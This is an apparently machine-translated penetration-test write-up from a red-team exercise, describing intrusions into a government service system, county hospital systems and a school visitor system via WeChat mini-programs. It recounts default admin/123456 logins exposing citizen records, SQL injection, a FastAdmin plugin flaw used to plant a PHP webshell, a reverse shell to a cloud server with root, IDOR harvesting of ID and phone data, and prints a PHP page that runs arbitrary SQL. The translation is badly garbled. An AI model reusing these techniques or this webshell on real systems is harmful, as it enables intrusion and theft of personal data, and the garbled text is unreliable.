Jump to content

0x00はじめに

は、特定の場所でHVVを終了したばかりで、ミニプログラムは、低コストで使いやすい情報システムとして、HVVの新しいタイプの重要なブレークスルーターゲットになりました。次のケースはすべて、誰もが学ぶためのミニプログラムからのものです。

0x01ケース1特定の政府問題システム

1。弱いパスワードは背景

に入ります

ミニプログラムをクリックし、市民サービスを入力し、ミニプログラムドメイン名をキャッチし、管理者の背景に直接アクセスします。次のページはFastAdminフレームワークです。

image-20230804233808809

常に落とし穴がありました。ログインするとパスワードが無効です。あきらめたいときは、前の手順に戻ってログインしていることを思い出させてください。疑問に思います。システムがログインした後にトークンが更新されることがわかりました。これにより、前のトークンが次のログインに使用されます。そうしないと、パスワードが無効になります。したがって、ネットワークまたはシステム自体に遅延があり、その結果、ログイン操作が正しいトークンで正常に使用されないようになります。この問題を発見したとき、私はadmin/123456によって背景にログインしました。

image-20230804233928487

約20,000の市民情報と数百の管理者アカウントが含まれており、すべての管理者アカウントのアカウント名とパスワードはAdmin/123456です。県レベルの都市HVVのケース4システムに似ています|コレクションへの不正アクセス。 (くそ)

image-20230804234620409

2。 SQL注入はどこにでもあります

フロントエンドのビジネスオフィスには、次のパッケージがあります。デバッグは閉じられておらず、データベースアカウント名とパスワードが公開されます。このSQL注入はあまりにも明白ですが、現時点ではデータベースアカウントの秘密の喜びにあり、SQL注入をしませんでした。ただし、このデータベースは外部ではなく、ローカルでのみ接続することができますが、非常に迷惑です。

image-20230804234900245

image-20230804235223957

管理者をバックグラウンドで表示するときに、遅延インジェクションが存在します

image-20230804235333429

image-20230804235520250

3。コマンドの実行は、サーバーとデータベースを削除します

FastAdminであるため、シェルを取得するには多くの方法があります。今回は、オンラインコマンドプラグインの脆弱性を使用して、1.1.0でのみ利用可能なPHP WebShellに書き込みます。

ただし、このシステムは2人で開いており、プラグイン用の場所はまったくありません。オンラインでプラグインのスプライシングページを検索しました。

ディレクトリは: /addon?ref=addtabsです

プラグインのディレクトリは /addon /command?ref=addtabsである必要がありますが、ページは存在しません。ルートが設定されていないと思ったので、チームメイトがプラグインを直接コマンドする記事、つまりディレクトリは /コマンドですか?ref=addtabsを見つけるまで、これを禁止しました。

image-20230805000548485

クリックしてAPIドキュメントを1回クリックして生成します。ファイルはPHPで、タイトルはトロイの木馬として書かれています。 Ice Scorpion Horseのみがそれをテストできます。以前にも同様のケースがありました。

image-20230805000747580

トロイの木馬をうまく接続します

image-20230805000951036

マレーシアのNCを循環させて電力を増やすことにより、シェルはクラウドサーバーにリバウンドされ、ルート許可を取得します。

image-20230805001343057

マレーシアは、SQLステートメントを実行するときにエラーと文字化けコードを報告します。

データベースアカウントのパスワードをまだ覚えています。 SQL実行ページのPHPファイルを自分で記述することにより、データベースに接続しました。データベースの権限を取得したことを証明します。

image-20230805001445813

コードは次のとおりです。

HTML

タイトルはMySQLステートメント/タイトルを実行します

/頭

H1EXECUTE MYSQLステートメント/H1

form method='post' action=''

textarea name='sql_statement' rows='5' cols='50 'プレースホルダー=' mysqlステートメント '/textareaを入力してください

br

入力タイプ='送信'値='実行'

/形状

?php

//フォームが送信されたかどうかを確認します

if($ _server ['request_method']==='post'){

//ユーザーが入力したMySQLステートメントを取得します

$ sql_statement=$ _post ['sql_statement'];

//mysqlデータベースに接続します

$ host='localhost';

$ username='';

$ password='';

$ database='';

$ connection=mysqli_connect($ host、$ username、$ password、$ database);

//mysqlクエリを実行します

$ result=mysqli_query($ connection、$ sql_statement);

//クエリの結果を確認します

if($ result){

//クエリの結果をエコーします

Echo 'H2クエリ結果: /h2';

while($ row=mysqli_fetch_assoc($ result)){

エコー '';

print_r($ row);

エコー '';

}

} それ以外{

//エラーメッセージを表示します

Echo 'H2エラー: /H2';

エコー「P」。 mysqli_error($ connection)。 '/p';

}

//データベース接続を閉じます

mysqli_close($ connection);

}

/体

/HTML

0x02ケース2郡病院データベース

1.SQLインジェクションにはDBA

が必要です

病院のSQL注入は公開口座登録にあります。ログインすると、登録レコードをクリックして、患者IDでパッケージをキャッチしました。

image-20230805001938526

単一の引用、エラー順序を追加しました

image-20230805002523985

SQLMapで直接実行できないことがわかりましたが、注射は存在します。 ASP.NETフレームワークを発見することは、相手のシステムがWindowsであることを意味します。

image-20230805002955771

それぞれデータベースMySQL、Oracle、およびMSSQLを指定します。最後に、注入はMSSQL中になくなり、DBA許可です。

image-20230805003357942

xp_cmdshellはコマンドを実行できると思いましたが、残念ながらこれは彼です。私は保護を受けました、そして、私はそれをどのようにセットアップしてもコマンドを実行することができないので、私はターゲットの変更をあきらめました。

0x03ケース3中学校の訪問者システム

1。不正 +情報漏れ

ミニプログラムを開き、パッケージをキャッチし、インタビュー対象者のすべての情報を直接キャプチャします。 1つのインターフェイスはアクセスする権限がありません。

image-20230805003829804

ログインする前のこのようなものなので、ログインすることをお勧めします。

ログインして、アクセスアプリケーションimage-20230805004820411を追加しました

アクセスアプリケーションレコードを表示するときにパッケージをキャッチします

image-20230805004432163

次のリンクをつかみます:app/visitor/getvisitorinfo?viid=1。数百の訪問者情報と訪問者の記録をトラバースすることで入手できます。それは並行して並行していると考えられており、最後に、アクセスが許可されていないことさえ、検証する許可がないことがわかりました。

image-20230805004401655

0x04ケース4見逃した

このケースは非常に面白いです。私はミニプログラムを探していました。 1つの単語で小さなプログラムを表示しました。注意深く見ずに入力し始めました。郡の病院でもあります。

これは、流行中に核酸試験の予約のために特別に作成されたミニプログラムである必要があります。

1。並列オーバーリーチ +情報漏れ

image-20230805005119179

ログインするときにIDカード名が一致しない場合、検証に合格することはできません。つまり、内部のIDカード情報はすべて現実です。ログインすると、ユーザーIDを使用して機能を探すことに慣れていて、医療訪問者リストをクリックしてパケットをキャッチします。

image-20230805005822924

電話、ID、名前、性別を見つけました

image-20230805010022930

IDを変更して、他の人の情報を表示します。

2。並列オーバーライドSQL注入

習慣的に単一の引用符を追加し、エラーを直接報告します。ページにはSQLエラーが表示されます。これは対応するものではありませんか? EDU-SQLインジェクションケースは、最後の要約を共有しています。 SQL注入が並列オーバーステップで存在する可能性が高いです。しかし、私は間違いを犯し、許可を持っていなかったので、私は停止してあきらめ、将来の修正のためにプラットフォームに引き渡しました。

image-20230805010332476

オリジナルリンク:https://forum.butian.net/share/2400

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...